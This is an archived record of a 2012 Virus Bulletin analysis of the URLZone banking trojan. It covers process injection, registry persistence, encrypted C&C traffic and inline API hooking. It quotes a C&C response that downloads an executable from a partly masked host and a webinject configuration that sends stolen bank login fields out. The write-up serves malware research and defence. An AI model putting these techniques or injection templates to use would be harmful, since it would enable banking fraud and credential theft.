{
	"id": "8ef513d3-13c2-49e1-9f80-af4c6ba563e2",
	"created_at": "2026-04-06T00:21:27.320167Z",
	"updated_at": "2026-04-10T03:21:48.883134Z",
	"deleted_at": null,
	"sha1_hash": "2d95d816544848da93a5cce71e2c3130a256c00a",
	"title": "Virus Bulletin :: URLZone reloaded: new evolution",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 549554,
	"plain_text": "Virus Bulletin :: URLZone reloaded: new evolution\r\nBy Neo TanFortinet, CanadaEditor: Helen Martin\r\nArchived: 2026-04-05 16:45:35 UTC\r\n2012-09-01\r\nAbstract\r\nMIB banking trojan URLZone dates back to 2009, and unlike other botnets it still uses a centralized\r\ncommunication system. Although less flexible than other P2P botnets, its refined method of injection, old-fashioned centralized topology and a low-profile attitude make it very successful. Neo Tan takes an in-depth look.\r\nCopyright © 2012 Virus Bulletin\r\nThe first variant of URLZone (a.k.a. Bebloh) was found dating back to September 2009. At that time, it was\r\ndescribed as a man-in-the-browser (MIB) banking trojan. Its hooking technique and its process of stealing money\r\nfrom victims were similar to another, more infamous bot, Zeus. The focus of this bot is to steal money from\r\ntargeted financial institutions and hide the transactions from the victim.\r\nUnlike many bots that now use P2P for communication, URLZone still uses a centralized communication system.\r\nAlthough P2P increases the expandability and robustness of a botnet, for a P2P botnet such as Zeus and Kelihos, it\r\nis fairly feasible for analysts to build a tracker to harvest the victim IP lists and update files, since all the\r\ninformation (server IPs, update files, configuration files, etc.) must be contained in the traffic. For a centralized\r\nbotnet on the other hand, if the C\u0026C server list is not updated dynamically through communication, it would be\r\nvery challenging to build a tracker system. Because the IPs or the URLs of the C\u0026C servers change all the time,\r\nand the only way of determining them is to decrypt the latest botnet installer before the change, it is not easy to\r\nobtain the active C\u0026C server lists and thus, the update files. Besides which, the list of banks and institutions\r\nURLZone targets is restricted – it has successfully been keeping a low profile since 2009. However, it is still out\r\nthere, and it has evolved.\r\nInfiltration/installation\r\nMost of the samples we obtained came as attachments to spam emails pretending to be a DHL package notice or\r\nholiday booking confirmation.\r\nUpon executing, URLZone first uses IsWow64Process to check the version of the current OS. If the OS is 64-bit,\r\nit creates the process: %ProgramFiles%\\Internet Explorer\\iexplore.exe, then injects it. If the OS is 32-bit, it uses\r\nGetVersion to see if the dwMajorVersion is lower than 6 (i.e. whether it is a Windows version that is older than\r\nVista, such as Windows Server 2003 or Windows XP). If the current MajorVersion is 6, it looks for and injects the\r\nexplorer.exe process with the same code as that used to inject the 64-bit OS. Otherwise, it uses\r\nNtQuerySystemInformation with the SystemInformationClass parameter set to an undocumented value: 0x10\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 1 of 12\n\n(SystemHandleInformation) to enumerate the handles opened by the smss.exe process, and then looks for the\r\ncsrss.exe process in the handles. If there is one, it calls DuplicateHandle to duplicate the handle to the current\r\nprocess and then injects the malicious code into csrss.exe. Figure 1 shows the smss.exe process’s csrss.exe handle\r\nbeing duplicated to the bot installer process update2.exe.\r\nFigure 1. Handle to csrss.exe is duplicated (shared) by the malware.\r\nIf it does not find the csrss.exe process in the handles, it will try a less stealthy method, which is to open csrss.exe\r\ndirectly using its process ID obtained from the CreateToolhelp32Snapshot call. If all these attempts fail, it will\r\npick the explorer.exe process and inject the same code as it used to inject the 64-bit OS. Figure 2 shows the two\r\nbranches loading different injecting subroutines.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 2 of 12\n\nFigure 2. Two injecting subroutines (circled in red) for different versions of Windows.\r\nBefore it calls CreateRemoteThread to run the injected code, it inserts an argument into the memory space of the\r\ntargeted process with format: [update] [autorun][installer path] (e.g. ‘-+C:\\test\\ppp.exe’ means this is not an\r\nupdate; autorun is enabled; and the installer file is located at ‘C:\\test\\ppp.exe’).\r\nThe two kinds of injecting subroutines that it uses to inject the different OS versions are similar, since the final\r\ngoal of both is to hook a list of selected applications and communicate with the C\u0026C server to get updates. The\r\nmajor difference is the methods they use to hook, because they are in different environments. In this article we\r\nwill focus on the code that is designed to inject csrss.exe (‘main0_32’ in Figure 2).\r\nAfter some common routines such as resolving APIs and dropping itself, the subroutine will accomplish four\r\ntasks. In order, these are: injecting the communication subroutine into svchost.exe, injecting a registry-monitoring\r\nsubroutine into winlogon.exe, hooking a list of applications, and updating itself if necessary. These tasks involve\r\nmultiple processes, and the bot needs a way to share data among them. Its data-sharing mechanism is enabled by\r\nimplementing the memory-mapped files that the system paging file stores [1]. This is the core technique used by\r\nthis bot in order to share data in the multi-process environment. At first, it calls CreateFileMapping with\r\nINVALID_HANDLE_VALUE as hFile and a hard-coded name stored in the installer as lpName (e.g. some\r\nrandom name such as ‘xajlwdxq’). These are also the value names the bot uses to store the data under a registry\r\nsubkey which is hard-coded in the installer: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet\r\nSettings\\5.0\\[random]\\. The location of the name is unique and will be used by the following OpenFileMapping\r\ncalls in the other processes. There are in total two views created with different names, with the\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 3 of 12\n\ndwMaximumSizeLow parameter of one being 0x52E, and the other being 0x80400. The bigger view is the\r\ncontainer of the configuration file; the other is the storage for the C\u0026C response.\r\nThe subroutine injected into winlogon.exe is a process that monitors and modifies the registry to make sure the bot\r\nsurvives after reboot. It first looks for and deletes the subkey HKLM\\System\\CurrentControlSet\\Control\\Session\r\nManager\\AppCertDlls. Then it gets the path name from the subkey\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Run\\Userinit, which in my 32-bit Windows XP environment, is\r\n‘C:\\Windows\\System32\\userinit.exe’. If it finds out that the subkey value does not point to userinit.exe, it will\r\nmodify it and make sure it does. This looks like a self-defence mechanism against other malware, or maybe an\r\nupgrade from the previous version.\r\nAt the end, there is a loop which keeps checking the response from the C\u0026C in the shared view, updating the\r\nconfiguration file stored in the registry and downloading the new update files. Then it drops the file to\r\n%SYSTEMDRIVE%\\WINDOWS\\system32\\[random].exe. It modifies the registry key\r\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution\r\nOptions\\userinit.exe\\Debugger to point to the dropped file. The technique used here is called the ‘Image Hijack’.\r\nEvery time Windows starts, it will execute userinit.exe, hence it is redirected to call the dropped file.\r\nC\u0026C communication\r\nThe subroutine injected into svchost.exe is responsible for the communication between the victim’s PC and the\r\nC\u0026C server to get the latest configuration information and update files. It sends an initial message to the C\u0026C\r\nservers in its hard-coded list. Usually there are four or five domains hard-coded in the file. If any of them respond\r\nwith either a ‘CMD0’ message or a configuration file, it will retry the communication in approximately three\r\nhours. If the response is ‘\u003eUD [update file URL]’, it will update itself with the new file, which probably contains a\r\nnew hard-coded C\u0026C server list.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 4 of 12\n\nFigure 3. C\u0026C communication flow chart for updating the bot itself and the configuration file.\r\nThe following is an example of the initial message the bot tries to send after gathering the victim’s environmental\r\ninformation, in plain text:\r\ntver=201206210634\u0026vcmd=0\u0026osver=5.1.2600+Service+Pack+3\u0026ipcnf=192.168.1.13+\u0026sckport=0\u0026cmobj=GZRX\u0026SHID=\r\n\u0026email=\r\nAn explanation of each of the arguments is as follows:\r\ntver – the build time of the bot.\r\nvcmd – the command it received from the server, which initially would be 0.\r\nosver – describes the OS version.\r\nipcnf – describes the victim’s IP address (can also be a LAN IP address).\r\nsckport – socket port number. This field is always set to 0 in the injecting subroutine for my 32-bit\r\nWindows XP test environment (the branch that uses subroutine ‘main0_32’ in Figure 2). In other\r\nenvironments, it will be set to an arbitrary port and the port will be used to open a back door.\r\ncmobj – two flags are contained here. If the flag is ‘GZ’, it means the environment is gzip decoding\r\nfriendly. If the flag is ‘RX’, it means the environment supports VBScript. Both the GZ and RX checks\r\ninvolve calling CoCreateInstance with hard-coded rclsid and riid parameters to get the CComPtr to the\r\ninterfaces and then utilizing them. Respectively, it uses{54C37CD0-D944-11D0-A9F4-006097942311} as\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 5 of 12\n\nrclsid and {70BDDE00-C18E-11D0-A9CE-006097942311} as riid to get the IEncodingFilterFactory\r\ninterface pointer for the gzip check, and {3F4DACA4-160D-11D2-A8E9-00104B365C9F} as rclsid and\r\n{3F4DACB0-160D-11D2-A8E9-00104B365C9F} as riid to get the IRegExp2 interface pointer for the\r\nvbscript check. For more about COM coding, please see [2].\r\nSHID – a hard-coded value, probably the affiliate ID.\r\nemail – this argument is always empty.\r\nTo make it secure, the plain text message will go through a sequence of encoding. This is an upgrade since the\r\nmalware was first discovered in 2009, when it used simple XOR encryption. At first, the plain text message will\r\nbe encoded by base64. Then it appends some data to the beginning of it, some of which is just garbage to scramble\r\nthe result when it comes to the final encryption. The format is as follows:\r\n[Message type]\u0026[OS version][Is the configuration saved in registry]\u0026[Version ID]\u0026[Hard-coded number]\u0026\r\n[Random number]\u0026[Random number]\u0026[Random number]\u0026[base64 of the plain text message]\u0026\r\nThis is a sample output made from the previous plain text message:\r\n2\u0026 5.1.2600.5512 Y!\u00265OHVWQMV7NRESGKGBT\u0026-922597813\u0026-700445222\u0026-16924818\u0026175856919\u0026P3R2ZXI9MjAxMjA2MjEw\r\nnZjbWQ9MTUmb3N2ZXI9NS4xLjI2MDArU2VydmljZStQYWNrKzMmaXBjbmY9MTkyLjE2OC4xLjEzKyZzY2twb3J0PTAmY21vYmo9R1\r\nTSElEPUEwMDAwMDEmZW1haWw9\u0026\r\nThe Message Type tells the C\u0026C server how to parse the message that follows. The range is from 1 to 9. For\r\nexample, ‘2’ here means that this is the initial message about the victim’s environment. And if for some reason\r\n(such as being deleted by an anti-virus program) the bot cannot find its dropped file, it will send a message with\r\n‘7’ as the message type and the list of current processes as the message body. Figure 4 shows the code sending the\r\nmessage type ‘7’ if the dropped file ‘defr.exe’ is not found. Most of the other message types are used for the\r\ncommunication of the hooked APIs with C\u0026C servers for manipulating the victim’s banking information.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 6 of 12\n\nFigure 4. Sending message type ‘7’ when the dropfile ‘defr.exe’ is not found.\r\nThe ‘N!’ in the example above states that there isn’t a configuration file found in the registry:\r\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\[random]\\[object name used for\r\nthe shared view]. The [Version ID] and [Hard-coded number] are probably used to identify the version of this bot,\r\nfollowed by three other randomly generated numbers. The rest is just the base64-encoded plain text message with\r\nan ‘\u0026’ at the end.\r\nFinally, a well-known block cipher algorithm called XXTEA is used to add one more encryption layer. The key is\r\nhard-coded in the bot and so far (as of August 2012), it hasn’t changed since we first discovered this variant in\r\nApril 2012.\r\nAfter receiving the initial message, if the C\u0026C server is alive, there are mainly three kinds of response from it:\r\n1. CMD0 – makes the client wait for about three hours and then retry.\r\n2. \u003eCV -1 \u003eUD [Update file URL] [Version] – downloads the update file and updates the bot, e.g. ‘\u003eCV -1\r\n\u003eUD http://www.tri***us.at/templates/mobiltemplate/images/icon.exe 201206210634’.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 7 of 12\n\n3. \u003eCV 15 \u003eDI INJECTFILE [File Size] [Configuration File] – downloads the configuration file. The file size\r\nis usually around 200 kilobytes.\r\nThe response message is also encrypted using XXTEA with a different key which is also hard-coded in the bot.\r\nThis hasn't been changed for at least five months either. A copy of the decrypted response is also stored in the\r\nshared view for the other processes to access. Again, the configuration file is encrypted using XXTEA with\r\nanother hard-coded key. Here is just a small part of the decrypted configuration file:\r\nINJECTFILE\r\nITHEADERSCRTIMER=|15000|End\r\nITHEADERSCRLIMIT=|30|End\r\nITHEADERSCRMINDELAY=|20000|End\r\n================================ FIDU ================================\r\nITSCRHOST=|finanzportal.fiducia.de|End\r\nITSCRONSUCCESS=|1|End\r\nITSCRPAGE=|/*/portal*token=*|End\r\n[ITBEGINBLOCKHOOK]\r\nITHOST=|finanzportal.fiducia.de|End\r\nITPAGE=|/*/portal*token=*\u0026C4I89Op=0004|End\r\nITMETHOD=|211|End\r\nITREQRXPREQ=||End\r\nITREQMATH=||End\r\nITREQCOUNT=||End\r\nITSRVDATA=|?name=FIDU\u0026bal=%FIDUBAL%\u0026lim=\u0026disp=\u0026maxbetrag=%FIDUMAXBETR%\u0026maxbetragsepa=%FIDUMAXBETRSEPA\r\nhost=finanzportal.fiducia.de\u0026useracc=%FIDURZBK% - %FIDUUSERACC% - %HOLDERNAME%\u0026userpass=%FIDUUSERPASS\r\n=%FIDUTANTYPE%\u0026html=\u0026trkid=%FIDUDEFNRSELE%\u0026regexp=unv\u0026hldrn=%HOLDERNAME%\u0026vorg=\u0026injv=20120302|End\r\nITREQSRVERR=|%ITENABLED%=|-1|--%ITSTATUS%=|e|--|End\r\nITONERR=|99|End\r\nITIFCONTEXT=|\u003ch1 class=”stackedFrontletTitle”\u003eEURO-\u0026Uuml;berweisung (SEPA)\u003c/h1\u003e|End\r\n[ITENDBLOCKHOOK]\r\nIt is then stored under the registry key: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet\r\nSettings\\5.0\\[Random]\\[Object Name Used for the Shared View], encrypted using XOR with a hard-coded key\r\nand two modifiers. The pseudo code of the encryption algorithm is as follows:\r\nxorKey = 0x58f8;\r\nmodifier1 = 0xfe97;\r\nmodifier2 = 0x11c6;\r\nfor(i = datasize; i \u003e 0; i--)\r\n{\r\n data ^= (xorKey\u003e\u003e8);\r\n temp = data + xorKey;\r\n temp2 = temp*modifier1;\r\n temp2 += modifier2;\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 8 of 12\n\nxorKey = (unsigned_short)temp2;\r\n}\r\nThis configuration file contains the URLs of the targeted financial institution, request mask templates, HTML\r\ninjecting templates and other information that is used by the hooked APIs to make fraudulent transactions and\r\ncreate fake transaction logs.\r\nInline API hooks\r\nAfter the injection of svchost.exe and winlogon.exe, it creates a thread that monitors the current running\r\napplications. In order, they are:\r\n1. thebat.exe\r\n2. msimn.exe\r\n3. iexplore.exe\r\n4. explorer.exe\r\n5. myie.exe\r\n6. firefox.exe\r\n7. mozilla.exe\r\n8. avant.exe\r\n9. maxthon.exe\r\n10. OUTLOOK.EXE\r\n11. ftpte.exe\r\n12. coreftp.exe\r\n13. filezilla.exe\r\n14. TOTALCMD.EXE\r\n15. cftp.exe\r\n16. FTPVoyager.exe\r\n17. SmartFTP.exe\r\n18. WinSCP.exe\r\nThey are mainly web browsers, email clients and ftp clients. Most of the APIs the bot is interested in hooking are\r\nthe ones responsible for Internet connection. Since different applications do not necessarily import the same APIs,\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 9 of 12\n\nit crafted three kinds of API-hooking subroutines to suit them. Among these applications, numbers 1, 2 and 10–18\r\nare to be injected with subroutine#1; numbers 6 and 7 are to be injected with subroutine#3; and the rest are to be\r\ninjected with subroutine#2.\r\nIn subroutine#1, it looks for and hooks InternetReadFile, HttpSendRequestA, HttpSendRequestW,\r\nInternetConnectA, HttpOpenRequestA, InternetQueryDataAvailable, InternetCloseHandle, InternetReadFileExA,\r\nInternetReadFileExW, InternetOpenA, HttpQueryInfoA and HttpQueryInfoW of wininet.dll, and send, connect\r\nand closesocket of wsock32.dll.\r\nIn subroutine#2, it looks for and hooks InternetReadFile, HttpSendRequestA, HttpSendRequestW,\r\nInternetConnectA, HttpOpenRequestA, InternetQueryDataAvailable, InternetCloseHandle, InternetReadFileExA,\r\nInternetReadFileExW, InternetOpenA, HttpQueryInfoA and HttpQueryInfoW of wininet.dll, and CreateProcessW\r\nof kernel32.dll. It also contains a loop checking the C\u0026C response, updating the configuration file and the bot\r\nitself.\r\nFigure 5 shows a snippet of the assembly code of the hooking of wininet.dll APIs in subroutine#2. Before each\r\nhookapi call, register EDX contains the hashcode identifying the API, and EAX contains the library name:\r\n‘wininet’. The hooking technique in the ‘hookapi’ function is called Inline Hooking. It takes advantage of the fact\r\nthat, for the targeted APIs in Windows XP SP2 and later the first five bytes are intentionally aligned for easy hot-patching. It locates the calling address of the API (e.g. 0x766982E2 in Figure 6) and patches the first five bytes\r\nwith an unconditional jump ‘E9 xx xx xx xx’ to the hook subroutine, which is also called the trampoline (e.g.\r\n0x410F7C in Figure 6).\r\nFigure 5. Snippet code of hooking APIs.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 10 of 12\n\nFigure 6. Hooking wininet.InternetReadFile (0x766982E2) in progress in OllyDbg. 0x410F7C is the address\r\nof hookedInternetReadFile.\r\nThen it saves the first five bytes followed by an unconditional jump (the jump redirects the control flow back to\r\nthe original API address + 5, e.g. 0X766982E2+5, jmp wininet.766982E7, as shown in Figure 7) to a dynamically\r\nallocated memory. It stores these ‘restoring addresses’ in an array. Every hooked subroutine will eventually have\r\ncall to lead back to its restoring point in the dynamically allocated memory. So each time an injected application\r\ninvokes the hooked functions, it will still seem to be behaving like the original one.\r\nFigure 7. Restoring addresses array.\r\nSubroutine#3 is almost identical to #2, except it looks for and hooks PR_Write, PR_Read and\r\nPR_DestroyPollableEvent of nspr4.dll instead of CreateProcessW, since its target applications are both from\r\nMozilla Project.\r\nThe hooked subroutine contains the core functions for masking domain URLs, modifying received messages and\r\naltering sending messages. For example, the hooked functions for the Internet reading APIs, such as\r\nInternetReadFile have the ability to filter out or alter the received data, according to the latest loaded configuration\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 11 of 12\n\nfile in the shared view. And the hooked functions for the Internet sending APIs, such as HttpSendRequestA,\r\nmodify the sending message according to the configuration file. The hooked function for InternetConnectA can\r\nsend reports to the C\u0026C server and mask the URLs of the pages the victim tries to create a connection to. With the\r\nspecific APIs hooked, the bot has comprehensive control of the ingoing and outgoing Internet messages of the\r\nvictim PC through the targeted applications.\r\nConclusion\r\nURLZone is a MIB banking trojan with a long history. Although it is less flexible than Zeus and other P2P\r\nbotnets, its refined method of injection and its good-old-fashioned centralized topology, together with a low-profile attitude make it very successful.\r\nBibliography\r\nSource: https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nhttps://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/"
	],
	"report_names": [
		"urlzone-reloaded-new-evolution"
	],
	"threat_actors": [],
	"ts_created_at": 1775434887,
	"ts_updated_at": 1775791308,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2d95d816544848da93a5cce71e2c3130a256c00a.pdf",
		"text": "https://archive.orkl.eu/2d95d816544848da93a5cce71e2c3130a256c00a.txt",
		"img": "https://archive.orkl.eu/2d95d816544848da93a5cce71e2c3130a256c00a.jpg"
	}
}